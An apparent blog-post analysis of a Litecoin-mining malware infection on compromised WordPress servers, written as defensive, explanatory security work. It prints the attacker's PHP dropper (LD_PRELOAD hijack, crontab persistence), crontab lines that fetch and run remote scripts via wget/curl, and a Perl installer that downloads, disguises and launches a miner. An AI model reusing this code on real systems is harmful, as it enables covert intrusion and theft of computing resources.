Bitcoin mining malware, analysis of an infection

When an attacker manages to compromise and get root access to a server or your notebook, his main goal usually is to steal sensitive information, to use it as a bridgehead for attacking other targets, to send spam or deny a service for causing money losses.

When I started my sysadmin career path, more than ten years ago, almost all software exploits were used with the previously explained goals in mind, but something is changing since the crypto-currencies have begun to spread and gain real value.

Bitcoin is the most famous crypto-currency nowadays. Bitcoins can be obtained in exchange for legal currencies (dollar, euro, yen, yuan and so on) or as a reward for your processing work. You offer your computing power to verify and record payments into the public ledger. This activity is called mining and is rewarded by transaction fees and newly created bitcoins.

Bitcoin mining requires a huge amount of computation power, so miners usually create computing clusters for being able to generate them. Mining clusters can be heterogeneous: any kind of digital appliance connected to the Internet is a good candidate for joining the cluster. More powerful is the appliance CPU (or GPU), more valuable is the appliance itself.

Attackers are starting to make profit by gaining access to servers, notebooks, smartphones or even simple appliances (smart washing machines, refrigerators, televisions, CCTV security cameras and so on) and stealing CPU/GPU cycles for mining crypto-currencies.

Mining bitcoins by using low-end CPUs is quite impossible nowadays, but there are several crypto-currencies that are easier to mine. That’s why attackers have been targeting Litecoins and Dogecoins, which literally are millions of times easier to mine.

Trend Micro found a mining malware in several Android apps, a couple of which were listed in the official Google Play Store and they have been downloaded by millions of users.

Johannes Ullrich realized that there was a network of CCTV security cameras that were being used to mine for Dogecoin.

You can usually notice a mining malware on a smart phone due to the loss of performance or its “puzzling” overheat, but you may not recognize a similar issue on a modern multicore/multi-socket server. Mining malware tends to keep a low profile. Even if a mining malware uses the 100% of one core of a 12-core CPU, it’s only using the 8% of the whole CPU power and it may not be noticed.

Analysis of a mining malware infection

I found the previously described scenario during two security audits requested by two different customers. There were more than 20 servers used for mining Litecoins, all hacked using the same technique.

The hacked servers hosted several vulnerable WordPress platforms, they have been used to download and execute the following malicious PHP script.

 1header("Content-type: text/plain");
 2print "2842123700\n";
 3
 4if (! function_exists('file_put_contents')) {
 5	function file_put_contents($filename, $data) {
 6		$f = @fopen($filename, 'w');
 7		if (! $f)
 8			return false;
 9		$bytes = fwrite($f, $data);
10		fclose($f);
11		return $bytes;
12	}
13}
14
15@system("killall -9 ".basename("/usr/bin/host"));
16
17$so32 = "...BINARY FILE SOURCE...";
18$arch = 64;
19if (intval("9223372036854775807") == 2147483647)
20	$arch = 32;
21print "Arch is ".$arch."\n";
22$so = $arch == 32 ? $so32 : $so64;
23$f = fopen("/usr/bin/host", "rb");
24if ($f) {
25	$n = unpack("C*", fread($f, 8));
26	$so[7] = sprintf("%c", $n[8]);
27	print "System is ".($n[8] == 9 ? "FreeBSD" : "Linux")."\n";
28	fclose($f);
29}
30print "SO dumped ".file_put_contents("./libworker.so", $so)."\n";
31if (getenv("MAYHEM_DEBUG"))
32	exit(0);
33$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
34/* second stage dropper */
35$HBN=basename("/usr/bin/host");
36$SCP=getcwd();
37$SCR  ="#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\n";
38$SCR .="crontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n";
39@file_put_contents("1.sh", $SCR);
40@chmod("1.sh", 0777);
41/* try at now, file will be removed, crontab cleaned on success */
42@system("(crontab -l|grep -v crontab;echo;echo '*/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-wendn-web.com/.../abc.txt;perl abc.txt;rm -f abc.txt')|crontab", $ret);
43@system("at now -f 1.sh", $ret);
44if ($ret == 0) {
45	for ($i = 0; $i < 5; $i++) {
46		if (! @file_exists("1.sh")) {
47			print "AT success\n";
48			exit(0);
49		}
50		sleep(1);
51	}
52}
53@system("(crontab -l|grep -v crontab;echo;echo '*/6 * * * * cd /tmp;wget http:\/\/updates.dyndn-web.com/.../abc.txt;curl -O http:\/\/updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc.txt')|crontab", $ret);
54@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
55if ($ret == 0) {
56	for ($i = 0; $i < 62; $i++) {
57		if (! @file_exists("1.sh")) {
58			print "CRONTAB success\n";
59			exit(0);
60		}
61		sleep(1);
62	}
63}
64print "Running straight\n";
65@system("./1.sh");

The script contains an ELF malware library inside the $so32 variable (I removed it). It was used to change how /usr/bin/host acts. At line #37, you can see how the attacker “prelinks” (LD_PRELOAD) a bogus libworker.so before launching /usr/bin/host (a legitimate and clean system binary).

The attacker uses /usr/bin/host as a cron fallback if the access to cron is denied.

The main features of this script are:

  • to notify the hostname of the infected nodeto the attacker by doing an HTTP request;
  • to add 3 cronjob scripts for setting up the mining software.

After a successful execution of the previous script, the server crontab of the audited servers looked like the following one:

1*/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc.txt
2*/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*
3*/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-wendn-web.com/.../abc.txt;perl abc.txt;rm -f abc.txt
4
510 2 * * * killall -9 /usr/bin/host;cd /tmp;wget http://XX.XXX.XXX.XX/.../libcfg.txt;curl -O http://XX.XXX.XXX.XX/.../libcfg.txt;mv libcfg.txt libcfg.php;php libcfg.php

Thanks to the first cron task, a remote PERL script was downloaded every 10 seconds. This is the source code of the last downloaded PERL script:

 1#!/usr/bin/perl
 2system("killall -9 minerd");
 3system("killall -9 PWNEDa");
 4system("killall -9 PWNEDb");
 5system("killall -9 PWNEDc");
 6system("killall -9 PWNEDd");
 7system("killall -9 PWNEDe");
 8system("killall -9 PWNEDg");
 9system("killall -9 PWNEDm");
10system("killall -9 minerd64");
11system("killall -9 minerd32");
12system("killall -9 named");
13$rn=1;
14$ar=`uname -m`;
15while($rn==1 || $rn==0) {
16$rn=int(rand(11));
17}
18$exists=`ls /tmp/.ice-unix`;
19$cratch=`ps aux | grep -v grep | grep kernelupdates`;
20if($cratch=~/kernelupdates/gi) { die; }
21if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) {
22$wig=`wget --version | grep GNU`;
23if(length($wig>6)) {
24if($ar=~/64/g) {
25system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://X.XXX.XX.XXX/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
26} else {
27system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://X.XX.XXX.XX/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
28}
29} else {
30if($ar=~/64/g) {
31system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://X.XXX.XX.XXX/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
32} else {
33system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://X.XX.XXX.XXX/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates");
34}
35}
36}
37
38@prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382');
39$prt=0;
40while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; }
41print "setup for $rn:$prt done :-)\n";
42system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &");
43print "done!\n";

The script executes some cleanup tasks, checks the server environment, creates a hidden directory inside the /tmp directory called “.ice-unix”, and then it downloads and extracts a tar.gz file that contains the minerd software. The last command configures and executes the parasite mining software.

The miner joins a mining pool, called “wemineltc”, through the stratum protocol and it uses a random username between “spdrman.0” and “spdrman.11”.

The malware tries to camouflage itself by :

  • using a working directory name that is the lowercase version of /tmp/.ICE-unix, a legit directory usually used by Xorg for saving session information;
  • renaming the mining software from “minerd” to a more friendly “kernelupdates”

By checking the web server logs and the creation date of several files and directories, I discovered that the parasite mining processes had been run for 3/4 months and no one noticed it!

How to prevent similar threats?

You should keep updated the Operating System and all user applications, do system hardening and schedule weekly security checks. Checking a global dashboard with server resource statistics and installing rkhunter or similar tools doesn’t guarantee that your servers don’t become zombies manipulated by a remote puppet master.